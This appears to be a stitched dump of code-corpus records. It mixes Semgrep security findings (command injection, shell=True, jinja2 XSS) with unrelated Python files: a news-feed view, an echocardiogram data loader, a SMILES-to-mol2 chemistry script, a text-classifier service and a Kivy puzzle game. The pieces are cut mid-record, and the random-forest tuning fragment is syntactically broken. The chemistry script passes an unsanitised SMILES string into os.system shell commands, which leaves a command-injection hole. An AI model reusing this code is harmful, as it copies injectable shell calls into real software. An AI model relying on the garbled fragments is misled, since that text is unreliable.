"cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/ca0fddc699b84e91.py", "start": {"line": 183, "col": 26, "offset": 7387}, "end": {"line": 184, "col": 64, "offset": 7519}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.subprocess-shell-true_ca0fddc699b84e91_82de4a37", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.subprocess-shell-true", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found 'subprocess' function 'run' with 'shell=True'. This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. 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This is dangerous because this call will spawn the command using a shell process. Doing so propagates current shell settings and variables, which makes it much easier for a malicious actor to execute commands. Use 'shell=False' instead.", "fix": "False", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b602_subprocess_popen_with_shell_equals_true.html", "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["secure default"], "likelihood": "HIGH", "impact": "LOW", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 9 | true | [
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"CWE-116",
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"CWE-78"
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] | [
"Detected direct use of jinja2. If not done properly, this may bypass HTML escaping which opens up the application to cross-site scripting (XSS) vulnerabilities. Prefer using the Flask method 'render_template()' and templates with a '.html' extension in order to prevent XSS.",
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"LOW"
] | environment.py | /hissw/environment.py | wtbarnes/hissw | MIT | |
2024-11-18T19:34:37.612903+00:00 | 1,625,573,774,000 | 798dfb6381a0d5ba653f52d20b559d6d11a9ecb8 | 3 | {
"blob_id": "798dfb6381a0d5ba653f52d20b559d6d11a9ecb8",
"branch_name": "refs/heads/master",
"committer_date": 1625573774000,
"content_id": "c4e8c3fd0f7118239452679411db41c635295609",
"detected_licenses": [
"MIT"
],
"directory_id": "c822c02381fd78198cbd79fdd729efe83ccf3bde",
"extension": "py",
"filename": "NewsFeedView.py",
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"github_id": 236575941,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 9881,
"license": "MIT",
"license_type": "permissive",
"path": "/server/source/views/NewsFeedView.py",
"provenance": "stack-edu-0054.json.gz:569816",
"repo_name": "Ali-Alhasani/UniSaarApp",
"revision_date": 1625573774000,
"revision_id": "b221cac1bd709d7994e4567e0f18e889d852018f",
"snapshot_id": "3fc238f1fd5a1e1c6c8389320e02330217da50b8",
"src_encoding": "UTF-8",
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"url": "https://raw.githubusercontent.com/Ali-Alhasani/UniSaarApp/b221cac1bd709d7994e4567e0f18e889d852018f/server/source/views/NewsFeedView.py",
"visit_date": "2023-06-14T09:32:33.781608"
} | 2.828125 | stackv2 | import json # to encode items as JSON
from source.models.EventModel import EventModel
from source.models.NewsModel import NewsModel
import jinja2
from icalendar import Calendar, Event
from datetime import datetime
from source.Constants import *
class NewsFeedView:
def __init__(self):
self.loader = jinja2.FileSystemLoader(HTML_TEMPLATE_DIRECTORY)
self.imageLoader = jinja2.FileSystemLoader(IMAGE_ERROR_DIRECTORY)
self.env1 = jinja2.Environment(loader=self.imageLoader)
self.env = jinja2.Environment(loader=self.loader)
self.env1.globals['IMAGE_ERROR_DIRECTORY'] = 'IMAGE_ERROR_DIRECTORY'
self.news_template = self.env.get_template(WEBVIEW_NEWS_TEMPLATE)
self.event_template = self.env.get_template(WEBVIEW_EVENTS_TEMPLATE)
self.error_template = self.env.get_template(WEBVIEW_ERROR_TEMPLATE)
def newsModelHeaderToJSON(self, newsModel):
"""
Places a representation of passed newsAndEventsModel into the dictionary
@param newsModel: the model to be encoded
"""
categoryDict = {}
for category in newsModel.getCategories():
categoryDict[category.getID()] = category.getName()
sendDict = {
"isEvent": False,
"publishedDate": str(newsModel.getPublishedDate()),
"title": newsModel.getTitle(),
"categories": categoryDict,
"link": newsModel.getLink(),
"description": newsModel.getDescription(),
"imageURL": newsModel.getImageLink(),
"id": newsModel.getID()
}
return sendDict
def eventModelHeaderToJSON_NewsMainScreen(self, eventModel):
categoryDict = {}
for category in eventModel.getCategories():
categoryDict[category.getID()] = category.getName()
sendDict = {
"isEvent": True,
"publishedDate": str(eventModel.getPublishedDate()),
"happeningDate": str(eventModel.getHappeningDate()),
"title": eventModel.getTitle(),
"categories": categoryDict,
"link": eventModel.getLink(),
"description": eventModel.getDescription(),
"imageURL": eventModel.getImageLink(),
"id": eventModel.getID()
}
return sendDict
def eventModelHeaderToJSON_EventsMainScreen(self, eventModel):
categoryDict = {}
for category in eventModel.getCategories():
categoryDict[category.getID()] = category.getName()
sendDict = {
"publishedDate": str(eventModel.getPublishedDate()),
"happeningDate": str(eventModel.getHappeningDate()),
"title": eventModel.getTitle(),
"categories": categoryDict,
"link": eventModel.getLink(),
"description": eventModel.getDescription(),
"imageURL": eventModel.getImageLink(),
"id": eventModel.getID()
}
return sendDict
def newsFeedHeadersToJSON(self, news, itemCount, lastChanged, hasNextPage):
"""
Encodes all NewsAndEventsModels within the list news as JSON
:param itemCount: the number of items for the filter settings
:param hasNextPage: whether for the filter settings there exists a next page (for continuous scrolling)
:param lastChanged: timestamp of the last time something in the news categories changed
:param news: a list of NewsAndEventModels to convert into JSON
"""
to_send = {"itemCount": itemCount,
"hasNextPage": hasNextPage,
"categoriesLastChanged": str(lastChanged), "items": []}
for newsItem in news:
if isinstance(newsItem, NewsModel):
to_send["items"].append(self.newsModelHeaderToJSON(newsItem))
elif isinstance(newsItem, EventModel):
to_send["items"].append(self.eventModelHeaderToJSON_NewsMainScreen(newsItem))
return json.dumps(to_send)
def toWebViewNewsItem(self, newsItem):
"""
@param: newsTemplate: It is a dictionary of different items from the news JSON. It has,
title: that describes the title of the news,
category: that has the category of the event or the name 'news' itself,
publishedDate: that says the data on which the news information is published,
image: if the news item has an attached image,
description: that has a short description of the news,
content: that has more information about a particular news,
this dictionary is then rendered into a web page using jinja. For more documentation,
open https://jinja.palletsprojects.com/en/2.10.x/
@param newsItem: to be encoded as HTML
"""
newsTemplate = dict(title=newsItem.getTitle(),
category=newsItem.getCategoryString(),
publishedDate=newsItem.getPublishedDate(),
image=newsItem.getImageLink(),
description=newsItem.getDescription(),
content=newsItem.getContent(),
link=newsItem.getLink()
)
renderedTemplate = self.news_template.render(newsTemplate=newsTemplate)
return renderedTemplate
def toWebViewEventItem(self, eventItem, language):
"""
@param: eventTemplate: It is a dictionary of different items from the events JSON. It has,
title: that describes the title of the event,
category: that has the category of the event or the name 'event' itself,
publishedDate: that says the data on which the event information is published,
happeningDate: specific to events category tha mentions when the event is happening,
image: if the event has any kind of image attached,
description: that has a short description of the event,
content: that has more information about a particular event,
this dictionary is then rendered into a web page using jinja.
For more documentation, open https://jinja.palletsprojects.com/en/2.10.x/
@param eventItem: to be encoded as HTML
@param language: str
"""
icsLink = ICS_BASE_LINK + str(eventItem.getID())
eventTemplate = dict(title=eventItem.getTitle(),
category=eventItem.getCategoryString(),
happeningDate=eventItem.getHappeningDate(),
image=eventItem.getImageLink(),
description=eventItem.getDescription(),
content=eventItem.getContent(),
link=eventItem.getLink(),
ics=icsLink,
language=language
)
renderedTemplate = self.event_template.render(eventTemplate=eventTemplate)
return renderedTemplate
def toJSONEvents(self, events, lastChanged):
"""
Returns the JSON format of a set of events
@param events: the events to be encoded as JSON
@param lastChanged: the last time the categories of the events changed
"""
to_send = {"eventCategoriesLastChanged": str(lastChanged), "items": []}
# check to make sure events contains only EventModels, then encode
for e in events:
assert (isinstance(e, EventModel)), "Each element in events should be an EventModel!"
to_send["items"].append(self.eventModelHeaderToJSON_EventsMainScreen(e))
return json.dumps(to_send)
def toJSONCategories(self, categories):
"""
:param categories: a set of categories, where each category is a string
:return: a json with a list of all categories
"""
categoryList = []
for cat in categories:
categoryList.append({"id": cat.getID(), "name": cat.getName()})
categoryList = sorted(categoryList, key=lambda x: x['id'])
return json.dumps(categoryList)
def toICalEvent(self, event: EventModel):
"""
Creates a iCal string containing just one event
@param event: EventModel
@return: str
"""
cal = Calendar()
# add required properties to calendar
cal.add('prodid', PRODID)
cal.add('version', '2.0')
# create ical event
ev = Event()
# add required properties to event
ev.add('uid', '{time}-{eventID}@{domain}'.format(time=datetime.utcnow().isoformat(), eventID=event.getID(),
domain=ICS_DOMAIN))
ev.add('dtstamp', datetime.utcnow())
startTime = event.getHappeningDate() if event.getHappeningTime() is None else event.getHappeningTime()
ev.add('dtstart', startTime)
# make the event transparent (in order not to block the calendar slot)
ev.add('transp', 'TRANSPARENT')
# add optional parameters
title = event.getTitle()
description = event.getDescription()
link = event.getLink()
categories = event.getCategories()
if not title == '':
ev.add('summary', title)
if not description == '':
ev.add('description', description)
if not link == '':
ev.add('link', link)
if not len(categories) == 0:
ev.add('categories', [cat.getName() for cat in categories])
cal.add_component(ev)
return cal.to_ical()
def toWebViewError(self, language):
errorimage = IMAGE_ERROR_URL
errorTemplate = dict(language=language,
errorimage=errorimage)
renderedTemplate = self.error_template.render(errorTemplate=errorTemplate)
return renderedTemplate
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"CWE-79",
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"security",
"security",
"security",
"security"
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} | 2.5 | stackv2 | import numpy as np
from tensorflow.keras import preprocessing
import cv2
import pandas as pd
from postprocessing import *
import os
import Augmentor
def load_datasets(filepath, sample_list, label_list, mark, a4c_or_a2c, m):
"""
we have illustrated the file structure of datasets and label in readme.
filepath : File storage directory.
sample_list : the ones separate for train val and test.
label_list : the list of golden_label correspond to sample_list.
label[-1] : start_mark which indicates the first frame number of .csv is ED or ES.
mark is 1 -->train 0--->test 2--->val.
a2c_or_a4c is num 2 or 4
"""
# here can adjust n to apply your datasets
if mark:
n = 4000
else:
n = 4000
dst_pair1 = np.zeros(shape=(n, m, m, 1), dtype=np.float32)
dst_pair2 = np.zeros(shape=(n, m, m, 1), dtype=np.float32)
dst_label = np.zeros(shape=(n,), dtype=np.int32)
k = 0
label_list_copy = copy.deepcopy(label_list)
for number in range(len(sample_list)):
label = label_list_copy[sample_list[number]-1] # o--->up 1--->down
start_mark = label.pop()
for i in (label):
position = label.index(i)
if position == len(label)-1:
break
j = label[position+1]
for t in range(i,j):
# load imgs: from number i to number j-1-->pair1
# i+1 j-->pair2
img_p1 = cv2.imread(filepath+"Patient"+("000"+str(sample_list[number]))[-4:] +
"\\a"+str(a4c_or_a2c)+"c\\"+str(t)+'.png', 0)
img_p2 = cv2.imread(filepath+"Patient"+("000"+str(sample_list[number]))[-4:] +
"\\a"+str(a4c_or_a2c)+"c\\"+str(t+1)+'.png', 0)
# cut and unsamping use cv2.resize
# original 600*800--cut-->512*512--->resize by cv2 ---> m*m
dst_pair1[k, :, :, 0] = cv2.resize(img_p1[80:592, 176:688].reshape(512, -1, 1), (m, m))/255.0
dst_pair2[k, :, :, 0] = cv2.resize(img_p2[80:592, 176:688].reshape(512, -1, 1), (m, m))/255.0
if start_mark == 0: # up
dst_label[k] = 0
else:
dst_label[k] = 1
k += 1
if start_mark == 0:
start_mark = 1
else:
start_mark = 0
if mark == 1:
pathname = 'train'
elif mark == 0:
pathname = 'test'
else:
pathname = "val"
# save the imgs for augmentation before training.
os.mkdir('../'+pathname+'p1/')
os.mkdir('../'+pathname+'p2/')
K = 0
for i in (dst_pair1[:k]):
preprocessing.image.save_img('../'+pathname+'p1/'+str(K)+'.png', i)
K += 1
K = 0
for i in (dst_pair2[:k]):
preprocessing.image.save_img('../'+pathname+'p2/'+str(K)+'.png', i)
K += 1
return dst_pair1[:k], dst_pair2[:k], dst_label[:k]
def augment():
"""
we use Augmentor lib
a pipeline of augment
no params input
"""
print("augmenting......")
path1 = '../trainp1/'
path2 = '../trainp2/'
# path of pair1 and pair2 similar to img & mask task for segmentation
p = Augmentor.Pipeline(path1) # pair1
p.ground_truth(path2) # pair2
p.rotate(probability=0.3, max_left_rotation=3, max_right_rotation=3)
p.flip_left_right(probability=0.2)
p.random_distortion(0.5, 2, 2, 2)
p.zoom(probability=0.5, min_factor=0.95, max_factor=1.05)
p.process()
def load_aug_data(path, m):
"""
m: img_shape,e.g.64 128 256
return matrix of shape (n,m,m,1)
"""
aug_path = path+'output/'
p1 = np.zeros(shape=(int(len(os.listdir(aug_path))/2), m, m, 1), dtype=np.float32)
p2 = np.zeros(shape=(int(len(os.listdir(aug_path))/2), m, m, 1), dtype=np.float32)
for filename in (os.listdir(aug_path)):
img = preprocessing.image.load_img(aug_path+filename, color_mode="grayscale")
if filename[:2] == 'tr': # pair1
index = filename.index('.')
i = int(filename[17:index])
p1[i] = preprocessing.image.img_to_array(img)/255.0
else:
index = filename.index('.')
i = int(filename[25:index])
p2[i] = preprocessing.image.img_to_array(img)/255.0
print('aug_data is loaded!')
return p1, p2
def get_label(path): # get ED ES label
"""
input a .csv file as describing on readme.md.
return a list of label
"""
label_csv = pd.read_csv(path)
label_list = []
trans_list = list(np.array(label_csv).astype(np.int32))
for i in trans_list:
temp = []
for j in i:
if j >= 0:
temp.append(j)
label_list.append(temp)
return label_list
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} | 2.4375 | stackv2 | # Expands a SMILES string to a 3D structure
# in mol2 format with am1bcc charges and sybyl atom types
try:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('out_prefix', default='1hnn/ligand', \
help='Output prefix')
parser.add_argument('inp', default='1hnn/ligand_in.mol2', \
help='SMILES string or input file name')
parser.add_argument('UseOpenEye', choices=['Y','N'], \
help='Use OpenEye toolkit?')
parser.add_argument('--RetainProtonation', action='store_true', \
help='Retains protonation state from input file')
parser.add_argument('--RetainConformer', action='store_true', \
help='Retains conformer from input file')
args = parser.parse_args()
except ImportError:
import sys
class args:
out_prefix = sys.argv[1]
inp = sys.argv[2]
UseOpenEye = sys.argv[3]
smi = args.inp
import os, inspect
dirs = {}
dirs['script'] = os.path.dirname(os.path.abspath(\
inspect.getfile(inspect.currentframe())))
execfile(os.path.join(dirs['script'],'_external_paths.py'))
command_paths = findPaths(['balloon','chimera'])
# Only necessary without OpenEye
balloon_FN = os.path.abspath(args.out_prefix + '_balloon.mol2')
charged_FN = os.path.abspath(args.out_prefix + '_AM1BCC.mol2')
sybyl_FN = os.path.abspath(args.out_prefix + '_sybyl.mol2')
def step_complete(FN):
FN = os.path.abspath(FN)
if os.path.isfile(FN):
return True
if FN==charged_FN and os.path.isfile(sybyl_FN):
return True
if FN==balloon_FN and os.path.isfile(sybyl_FN):
return True
return False
for dirN in [os.path.dirname(args.out_prefix)]:
if (dirN!='') and not os.path.isdir(dirN):
os.system('mkdir -p '+dirN)
if args.UseOpenEye=='Y' and not step_complete(charged_FN):
from openeye import oechem
from openeye import oequacpac
mol = oechem.OEGraphMol()
if os.path.isfile(args.inp):
ifs = oechem.oemolistream(args.inp)
oechem.OEReadMolecule(ifs, mol)
ifs.close()
else:
# Create a OpenEye molecule object from the SMILES string
if not oechem.OESmilesToMol(mol, smi):
raise Exception('Invalid SMILES string', smi)
oechem.OECanonicalOrderAtoms(mol)
oechem.OECanonicalOrderBonds(mol)
# Assign a reasonable protomer
if args.RetainProtonation:
for atom in mol.GetAtoms():
atom.SetImplicitHCount(0)
else:
if not oequacpac.OEGetReasonableProtomer(mol):
print 'Failed to get a reasonable protomer at pH 7.4'
oechem.OEAssignAromaticFlags(mol, oechem.OEAroModelOpenEye)
if not args.RetainProtonation:
oechem.OEAddExplicitHydrogens(mol)
smi = oechem.OECreateSmiString(mol, oechem.OESMILESFlag_Canonical)
print 'The canonical SMILES for a reasonably protonated state is', smi
# Generate conformations
from openeye import oeomega
mol_multiconf = oechem.OEMol(mol)
oechem.OECanonicalOrderAtoms(mol_multiconf)
omega = oeomega.OEOmega()
# These parameters were chosen to match http://docs.eyesopen.com/toolkits/cookbook/python/modeling/am1-bcc.html
omega.SetMaxConfs(800)
omega.SetIncludeInput(False)
omega.SetCanonOrder(False)
omega.SetStrictStereo(False)
omega.SetStrictAtomTypes(False)
omega.SetSampleHydrogens(True) # Word to the wise: skipping this step can lead to significantly different charges!
omega.SetEnergyWindow(15.0)
omega.SetRMSThreshold(1.0) # Word to the wise: skipping this step can lead to significantly different charges!
if omega(mol_multiconf): # generate conformation
# Generate am1bcc partial charges
oequacpac.OEAssignCharges(mol_multiconf, oequacpac.OEAM1BCCELF10Charges())
# Get total charge
conf = mol_multiconf.GetConf(oechem.OEHasConfIdx(0))
absFCharge = 0
sumFCharge = 0
sumPCharge = 0.0
for atm in mol_multiconf.GetAtoms():
sumFCharge += atm.GetFormalCharge()
absFCharge += abs(atm.GetFormalCharge())
sumPCharge += atm.GetPartialCharge()
oechem.OEThrow.Info("%s: %d formal charges give total charge %d ; Sum of Partial Charges %5.4f"
% (mol_multiconf.GetTitle(), absFCharge, sumFCharge, sumPCharge))
# Output file
ofs = oechem.oemolostream(charged_FN)
ofs.SetFormat(oechem.OEFormat_MOL2H)
oechem.OEWriteMolecule(ofs, conf)
ofs.close()
else:
# Conformer generation failed. Use Ballon + Chimera
print 'Conformer generation with OETools failed.'
if (args.UseOpenEye=='N') or not step_complete(charged_FN):
if not step_complete(balloon_FN):
# Run Balloon to convert from a SMILES string to a 3D structure
MMFF94_FN = os.path.join(os.path.dirname(command_paths['balloon']),'MMFF94.mff')
command = command_paths['balloon'] + ' -f ' + MMFF94_FN + \
' --nconfs 1 --nGenerations 300 "' + smi + '" ' + balloon_FN
os.system(command)
if os.path.isfile(os.path.basename(balloon_FN)[:-5]+'_bad.mol2'):
print 'Conformer generation failed!'
# Make the final out_prefixut an empty file
open(sybyl_FN, 'a').close()
if step_complete(balloon_FN):
# Select the first model from the mol2 file
F = open(balloon_FN, "r")
mol2 = F.read()
F.close()
if mol2.count("@<TRIPOS>MOLECULE")>1:
print 'Keeping first configuration in '+balloon_FN
confs = mol2.strip().split("@<TRIPOS>MOLECULE")
if confs[0]=='':
confs.pop(0)
F = open(balloon_FN,"w")
F.write("@<TRIPOS>MOLECULE"+confs[0])
F.close()
# Get the net charge based on the SMILES string
charge = 0
lc = ''
for c in smi:
if c=='+':
if lc.isdigit():
charge += int(lc)
else:
charge += 1
elif c=='-':
if lc.isdigit():
charge -= int(lc)
else:
charge -= 1
lc = c
print 'Net charge is ', charge
if not step_complete(charged_FN):
# Run chimera to get AM1BCC charges
prep_script = os.path.join(dirs['script'], '_prep_ligand.chimera.py')
command = command_paths['chimera'] + " --nogui --script" + \
" '%s --in_FN %s --out_FN %s --net_charge %d'"%(prep_script, balloon_FN, charged_FN, charge)
os.system(command)
if os.path.isfile(balloon_FN) and \
os.path.isfile(charged_FN):
os.remove(balloon_FN)
# Restore the original configuration to the charged file
if not step_complete(sybyl_FN):
if args.RetainConformer:
from openeye import oechem
if not os.path.isfile(args.inp):
raise Exception('File %s not found'%args.inp)
mol_in = oechem.OEGraphMol()
ifs = oechem.oemolistream(args.inp)
oechem.OEReadMolecule(ifs, mol_in)
ifs.close()
oechem.OECanonicalOrderAtoms(mol_in)
if not os.path.isfile(charged_FN):
raise Exception('File %s not found'%charged_FN)
mol_out = oechem.OEGraphMol()
ifs = oechem.oemolistream(charged_FN)
oechem.OEReadMolecule(ifs, mol_out)
ifs.close()
if mol_in.GetMaxAtomIdx() != mol_out.GetMaxAtomIdx():
raise Exception('Number of atoms in input, %d, not equal to number in output, %d'%(\
mol_in.GetMaxAtomIdx(), mol_out.GetMaxAtomIdx()))
import numpy as np
coords = np.zeros((mol_in.GetMaxAtomIdx(),3))
coords_dict = mol_in.GetCoords()
for a, ind_n in zip(mol_in.GetAtoms(), range(mol_in.GetMaxAtomIdx())):
coords[ind_n,:] = coords_dict[a.GetIdx()]
mol_out.SetCoords(coords.flatten())
ofs = oechem.oemolostream(sybyl_FN)
ofs.SetFormat(oechem.OEFormat_MOL2H)
oechem.OEWriteMolecule(ofs, mol_out)
ofs.close()
else:
os.system('cp %s %s'%(charged_FN, sybyl_FN))
| 219 | 33.21 | 117 | 16 | 2,183 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_e014560c10163856_ac620877", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. 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Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.writing-to-file-in-read-mode_e014560c10163856_848181aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "The file object 'F' was opened in read mode, but is being written to. This will cause a runtime error.", "remediation": "", "location": {"file_path": "unknown", "line_start": 154, "line_end": 154, "column_start": 7, "column_end": 44, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.writing-to-file-in-read-mode", "path": "/tmp/tmpb8jm_z1l/e014560c10163856.py", "start": {"line": 154, "col": 7, "offset": 5352}, "end": {"line": 154, "col": 44, "offset": 5389}, "extra": {"message": "The file object 'F' was opened in read mode, but is being written to. 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This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. 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# random forest class for tuning
class rf_model():
# Make sure parameters that need to be integers are integers
for parameter_name in ['max_depth', 'n_estimators']:
params[parameter_name] = int(params[parameter_name])
rf_results = RandomForestClassifier(**params, random_state=randomseed)
#rf_results.fit(X_train, y_train)
rf_cv_scores = sklearn.model_selection.cross_val_predict(rf_results, X_train, y_train, cv=5, verbose=False)
recall_score = sklearn.metrics.recall_score(y_pred=rf_cv_scores, y_true=y_train)
precision_score = sklearn.metrics.precision_score(y_pred=rf_cv_scores, y_true=y_train)
f1_score = sklearn.metrics.f1_score(y_pred=rf_cv_scores, y_true=y_train)
return {'loss': (1 - recall_score), 'status': STATUS_OK, 'params': params, 'iteration': ITERATION}
space = {
'max_depth' : hp.quniform('max_depth', 5, 10, 1),
'max_features': hp.choice('max_features', range(20, int((X_train.shape[:][1])/5))),
'criterion': hp.choice('criterion', ["gini", "entropy"]),
'n_estimators': hp.choice('n_estimators', np.arange(200, 1000))
}
# Run optimization
best = fmin(fn = rf_model.rf_score, space = space, algo = tpe.suggest,
max_evals = MAX_EVALS, trials = trials, rstate = np.random.RandomState(randomseed))
best = trials.best_trial['result']['params']
return best, trials
def rf_train(best_params):
model = RandomForestClassifier(random_state = randomseed)
model.set_params(**best_params)
model.fit(X_train, y_train)
def rf_cv(X_train, y_train, best):
model = RandomForestClassifier(**best, verbose=False)
rf_cv_scores = sklearn.model_selection.cross_val_predict(model, X_train, y_train, cv=5)
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import allspark
import io
import numpy as np
import json
import threading
import pickle
import jieba
from sklearn.naive_bayes import MultinomialNB
def MakeWordsSet(words_file):
words_set = set()
with open(words_file, 'r', encoding='utf-8') as fp:
for line in fp.readlines():
word = line.strip()
if len(word)>0 and word not in words_set:
words_set.add(word)
return words_set
def words_dict(all_words_list, stopwords_set=set()):
feature_words = []
for t in range(0, len(all_words_list), 1):
if not all_words_list[t].isdigit() and all_words_list[t] not in stopwords_set and 1<len(all_words_list[t])<5:
feature_words.append(all_words_list[t])
return feature_words
def processPredictData(data):
all_words_list = pickle.load(open('./model/feature_words.pkl', 'rb'))
word_cuts = []
for i in range(len(data)):
word_cuts.append(jieba.cut(data[i], cut_all=False) )
stopwords_file = './model/stopwords.txt'
stopwords_set = MakeWordsSet(stopwords_file)
feature_words = words_dict(all_words_list, stopwords_set)
def text_features(text, feature_words):
text_words = set(text)
features = [1 if word in text_words else 0 for word in feature_words]
return features
predict_feature_list = [text_features(text, feature_words) for text in word_cuts]
return predict_feature_list
def process(msg):
msg_dict = json.loads(msg)
texts = msg_dict['texts']
predict_feature_list = processPredictData(texts)
classifier = pickle.load(open('./model/model.pkl', 'rb'))
result = classifier.predict(predict_feature_list)
final_result = {
'content': list(result)
}
return bytes(json.dumps(final_result), 'utf-8')
def worker(srv, thread_id):
while True:
msg = srv.read()
try:
rsp = process(msg)
srv.write(rsp)
except Exception as e:
srv.error(500,bytes('invalid data format', 'utf-8'))
if __name__ == '__main__':
context = allspark.Context(4)
queued = context.queued_service()
workers = []
for i in range(10):
t = threading.Thread(target=worker, args=(queued, i))
t.setDaemon(True)
t.start()
workers.append(t)
for t in workers:
t.join()
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} | 2.640625 | stackv2 | from __future__ import division
import os
import operator
import pickle
import random
from kivy.app import App
from kivy.clock import Clock
from kivy.uix.label import Label
from kivy.uix.popup import Popup
from kivy.uix.button import Button
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.screenmanager import Screen
from kivy.graphics import Color, Rectangle
from kivy.uix.gridlayout import GridLayout
def dot(x1, x2):
return sum(map(operator.mul, x1, x2))
class Timer(Label):
def __init__(self, **kwargs):
super(Timer, self).__init__(**kwargs)
self.time = 0
self.text = "Time: 00:00"
def start(self):
return Clock.schedule_interval(self.update, 1)
def update(self, *args):
self.time += 1
self.text = "Time: {:02d}:{:02d}".format(self.time // 60, self.time % 60)
def stop(self, scheduled):
Clock.unschedule(scheduled)
def reset(self):
self.time = 0
self.text = "Time: 00:00"
class Moves(Label):
def __init__(self, **kwargs):
super(Moves, self).__init__(**kwargs)
self.count = 0
self.text = "Moves: 0"
def inc(self):
self.count += 1
self.text = "Moves: {}".format(self.count)
def dec(self):
self.count -= 1
self.text = "Moves: {}".format(self.count)
def reset(self):
self.count = 0
self.text = "Moves: 0"
down = os.path.join("data", "down.png")
normal = os.path.join("data", "up.png")
hint = os.path.join("data", "hint.png")
class Light(Button):
def __init__(self, up, **kwargs):
super(Light, self).__init__(**kwargs)
self.toggled = 0
self.always_release = True
self.initialize(up)
def initialize(self, up):
if up:
self.toggled = 1
self.background_down = down
self.background_normal = normal
else:
self.toggled = 0
self.background_down = normal
self.background_normal = down
def on_release(self):
self.flip()
def flip(self):
self.toggled = 0 if self.toggled else 1
self.background_normal, self.background_down = self.background_down, self.background_normal
def blink(self, *args):
if self.toggled:
if self.background_normal == hint:
self.background_normal = normal
else:
self.background_normal = hint
else:
if self.background_normal == hint:
self.background_normal = down
else:
self.background_normal = hint
def restore(self):
if self.toggled:
self.background_normal = normal
else:
self.background_normal = down
class Blinking:
def __init__(self, button, scheduled):
self.button = button
self.scheduled = scheduled
class Game:
def __init__(self):
self.config = []
self.ones = 0
def load(self):
x1 = [0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0]
x2 = [1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1]
self.config = [random.randint(0, 1) for _ in range(25)]
while dot(self.config, x1) % 2 or dot(self.config, x2) % 2:
self.config = [random.randint(0, 1) for _ in range(25)]
self.ones = sum(self.config)
def flip(self, position):
self.config[position] = 0 if self.config[position] else 1
class GameGrid(GridLayout):
def __init__(self, **kwargs):
super(GameGrid, self).__init__(**kwargs)
self.cols = 5
self.spacing = 5
self.game = Game()
self.moves = Moves()
self.timer = Timer()
self.manager = None
self.player_name = None
self.scheduled = None
self.toggled_last = None
with self.canvas.before:
Color(0.75, 0.75, 0.75, 0.75)
self.rect = Rectangle(size=self.size, pos=self.pos)
self.bind(pos=self.update_rect, size=self.update_rect)
self.game.load()
self.lights = []
for i in range(25):
self.lights.append(Light(self.game.config[i], id=str(i), on_press=self.toggle))
self.add_widget(self.lights[i])
def update_rect(self, instance, value):
instance.rect.pos = instance.pos
instance.rect.size = instance.size
